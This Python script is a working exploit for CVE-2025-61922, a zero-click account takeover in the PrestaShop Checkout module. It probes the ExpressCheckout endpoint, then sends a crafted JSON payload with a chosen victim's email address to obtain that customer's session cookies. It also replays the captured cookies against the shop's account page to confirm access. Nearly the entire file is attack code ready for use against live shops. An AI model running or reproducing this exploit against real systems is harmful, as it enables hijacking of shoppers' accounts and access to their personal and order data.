#!/usr/bin/env python3 """ CVE-2025-61922 - Zero-click Account Takeover in PrestaShop Checkout < 5.0.5 Author: S 1 D E R """ import requests import json import argparse import sys from urllib.parse import urljoin from typing import Optional, Dict, Any def check_vulnerability(target_url: str, proxy: Optional[str] = None, timeout: int = 30, verify_ssl: bool = True) -> bool: session = requests.Session() # Configure proxy if provided if proxy: session.proxies = { 'http': proxy, 'https': proxy } session.verify = verify_ssl session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'application/json, text/plain, */*' }) endpoint = "/module/ps_checkout/ExpressCheckout" test_url = urljoin(target_url, endpoint) print(f"[*] Testing: {test_url}") try: response = session.options(test_url, timeout=timeout) if 'POST' in response.headers.get('Allow', ''): print("[+] Target appears VULNERABLE (endpoint accepts POST requests)") return True elif response.status_code == 405: # Method Not Allowed print("[+] Target appears VULNERABLE (endpoint exists but rejects OPTIONS)") return True else: print(f"[-] Target may not be vulnerable (HTTP {response.status_code})") return False except requests.exceptions.ConnectionError: print("[-] Connection failed - check URL and network") return False except requests.exceptions.Timeout: print("[-] Request timeout") return False except Exception as e: print(f"[-] Error: {e}") return False def exploit_takeover(target_url: str, email: str, proxy: Optional[str] = None, timeout: int = 30, verify_ssl: bool = True) -> Optional[Dict[str, Any]]: session = requests.Session() if proxy: session.proxies = { 'http': proxy, 'https': proxy } session.verify = verify_ssl session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/json', 'Accept': 'application/json' }) endpoint = "/module/ps_checkout/ExpressCheckout" exploit_url = urljoin(target_url, endpoint) payload = { "orderID": "1", # Can be any value, just needs to exist "order": { "payer": { "email_address": email } } } print(f"[*] Attempting account takeover for: {email}") print(f"[*] Payload: {json.dumps(payload, indent=2)}") try: response = session.post( exploit_url, json=payload, timeout=timeout, allow_redirects=False ) result = { 'success': False, 'status_code': response.status_code, 'cookies': {}, 'headers': dict(response.headers), 'response_preview': response.text[:500] if response.text else '' } if 'set-cookie' in response.headers: cookie_header = response.headers['set-cookie'] cookies = {} for cookie_part in cookie_header.split(','): if '=' in cookie_part: key_val = cookie_part.split(';')[0].strip() if '=' in key_val: key, value = key_val.split('=', 1) cookies[key] = value result['cookies'] = cookies if response.status_code == 500 and cookies: result['success'] = True result['message'] = "Vulnerable! Got session cookies despite 500 error." elif response.status_code == 200: result['success'] = True result['message'] = "Possible success - check response for session data" else: result['message'] = f"Got HTTP {response.status_code}" return result except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def test_cookies(target_url: str, cookies_str: str, proxy: Optional[str] = None, timeout: int = 30, verify_ssl: bool = True) -> bool: session = requests.Session() if proxy: session.proxies = { 'http': proxy, 'https': proxy } session.verify = verify_ssl for cookie_pair in cookies_str.split(';'): cookie_pair = cookie_pair.strip() if '=' in cookie_pair: name, value = cookie_pair.split('=', 1) session.cookies.set(name.strip(), value.strip()) test_url = urljoin(target_url, "/my-account") print(f"[*] Testing cookies against: {test_url}") try: response = session.get(test_url, timeout=timeout) if response.status_code == 200: indicators = [ "My account", "Order history", "Sign out", "Logout" ] for indicator in indicators: if indicator in response.text: print(f"[+] SUCCESS! Found '{indicator}' in response.") return True print("[-] Got 200 but no clear login indicators found") return False else: print(f"[-] Got HTTP {response.status_code} - likely not authenticated") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def main(): parser = argparse.ArgumentParser( description="CVE-2025-61922 - PrestaShop Checkout Account Takeover", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: %(prog)s check --url http://target-shop.com %(prog)s takeover --url http://target-shop.com --email victim@example.com %(prog)s test --url http://target-shop.com --cookies "PrestaShop-abc=123" """ ) subparsers = parser.add_subparsers(dest='command', help='Command to execute') subparsers.required = True check_parser = subparsers.add_parser('check', help='Check if target is vulnerable') check_parser.add_argument('--url', required=True, help='Target PrestaShop URL') takeover_parser = subparsers.add_parser('takeover', help='Attempt account takeover') takeover_parser.add_argument('--url', required=True, help='Target PrestaShop URL') takeover_parser.add_argument('--email', required=True, help='Victim email address') test_parser = subparsers.add_parser('test', help='Test captured cookies') test_parser.add_argument('--url', required=True, help='Target PrestaShop URL') test_parser.add_argument('--cookies', required=True, help='Session cookies to test') for subparser in [check_parser, takeover_parser, test_parser]: subparser.add_argument('--proxy', help='HTTP proxy (e.g., http://127.0.0.1:8080)') subparser.add_argument('--timeout', type=int, default=30, help='Request timeout in seconds (default: 30)') subparser.add_argument('--no-verify', action='store_true', help='Disable SSL certificate verification') args = parser.parse_args() if args.no_verify: import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) if args.command == 'check': is_vulnerable = check_vulnerability( target_url=args.url, proxy=args.proxy, timeout=args.timeout, verify_ssl=not args.no_verify ) if is_vulnerable: print("\n[!] WARNING: Target appears vulnerable to CVE-2025-61922") else: print("\n[-] Target does not appear vulnerable (or endpoint not found)") sys.exit(0 if is_vulnerable else 1) elif args.command == 'takeover': result = exploit_takeover( target_url=args.url, email=args.email, proxy=args.proxy, timeout=args.timeout, verify_ssl=not args.no_verify ) if result: print(f"\n[*] HTTP Status: {result['status_code']}") if result['success']: print("[+] SUCCESS! Account takeover appears to have worked.") if result['cookies']: print("[+] Captured cookies:") for name, value in result['cookies'].items(): print(f" {name}: {value}") # Format for easy copying cookie_str = '; '.join([f"{k}={v}" for k, v in result['cookies'].items()]) print(f"\n[*] Cookie string for testing:") print(f" {cookie_str}") else: print("[-] Account takeover may have failed.") if result.get('message'): print(f"[-] {result['message']}") else: print("[-] Exploit attempt failed completely") sys.exit(1) elif args.command == 'test': success = test_cookies( target_url=args.url, cookies_str=args.cookies, proxy=args.proxy, timeout=args.timeout, verify_ssl=not args.no_verify ) if success: print("[+] Cookies appear to provide valid session access!") print("[!] This confirms the vulnerability was successfully exploited.") else: print("[-] Cookies do not appear to provide valid access") print("[-] They may have expired, or the exploit didn't work as expected") if __name__ == "__main__": main()